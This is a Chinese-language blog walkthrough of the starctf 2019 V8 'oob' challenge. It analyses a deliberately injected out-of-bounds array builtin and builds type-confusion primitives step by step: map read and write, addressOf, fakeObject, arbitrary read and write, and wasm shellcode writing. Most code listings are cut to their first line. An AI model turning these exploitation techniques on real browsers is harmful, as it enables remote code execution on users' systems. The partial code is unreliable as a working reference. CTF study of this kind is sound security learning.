V8利用(2)-starctf2019-oob

该题目复现参考从0开始学V8漏洞利用之starctf 2019 OOB(三) - Hc1m1 (nobb.site)
环境搭建
1 | git clone https://github.com/sixstars/starctf2019.git |
diff分析
该题目属于人为造洞类型,给出了一个diff,可以发现直接造出了一个oob漏洞,可以实现任意读写。oob具体为
1 | +BUILTIN(ArrayOob){ |
从elements.getscalar(length)
就可以看出读取操作会把数组后的64bit读出出来
而从elements.set(length,value->Number())
可以看出它会赋值数组后的64bit为给出的值
漏洞调试
读取测试
1 | //test.js |
farray
对象的结构体为
1 | pwndbg> job 0x02a686e0f3c1 |
其内存为
1 | pwndbg> x/16gx 0x02a686e0f3c1-1 |
其elements内存为
1 | pwndbg> x/16gx 0x02a686e0f3a9-1 |
可以看到存储浮点数值的下一个64bit便是farray的map地址,再来看被赋值的x的值
1 | pwndbg> job 0x02a686e0f409 |
digits
成员和farray
的map地址相同,定义函数getMap()
1 | function get_map(farray) |
写入测试
定义函数
1 | function set_map(farray, value) |
在%SystemBreak()
之前插入代码
1 | set_map(farray1, x-0x100n); |
进行调试
1 | pwndbg> x/16gx 0x28a064b8f489-1 |
可以看到farray
的map值已经被设置成x-0x100n
的值了
任意地址读/写
addressOf
尝试编写获取对象地址的函数
1 | var double_array = [2.1]; |
在此脚本之前,我按照我自己的想法写了一个
1
2
3
4
5
6
7
8
9 function addressOf(target_var)
{
var double_array = [2.1];
var double_array_map = get_map(double_array);
var obj_array = [target_var];
set_map(obj_array, double_array_map);
var target_var_addr = float_to_int(obj_array[0])-1n;
return target_var_addr;
}不过这个脚本并不能按照预期内存布局工作,在这个脚本中,
obj_array
对象的elements
结构体没有和对象结构体挨在一起,导致修改map无法成功。(具体原因不太清楚
fakeObject
1 | function fakeObject(target_addr) |
AAR
此处AAR的编写并不能依照之前提到的模板来编写,因为这个d8版本较低,并没有目前d8的地址压缩
编写完成的AAR为
1 | var fake_array = [int_to_float(double_array_map),0,int_to_float(0x4141414141414141n)]; |
AAW
同理,AAW为
1 | function AAW(addr, value) |
写入shellcode
在实现任意地址读写后,就可以写入shellcode了。可以直接按照之前提到的shellcode模板来写入,只需要在其中修改一下backing_store
成员的偏移即可
1 | function shellcode_write(addr,shellcode) |
最终exp
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
- Title: V8利用(2)-starctf2019-oob
- Author: Static
- Created at : 2024-03-10 16:37:25
- Updated at : 2024-03-10 16:36:44
- Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(2)-starctf2019-oob/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments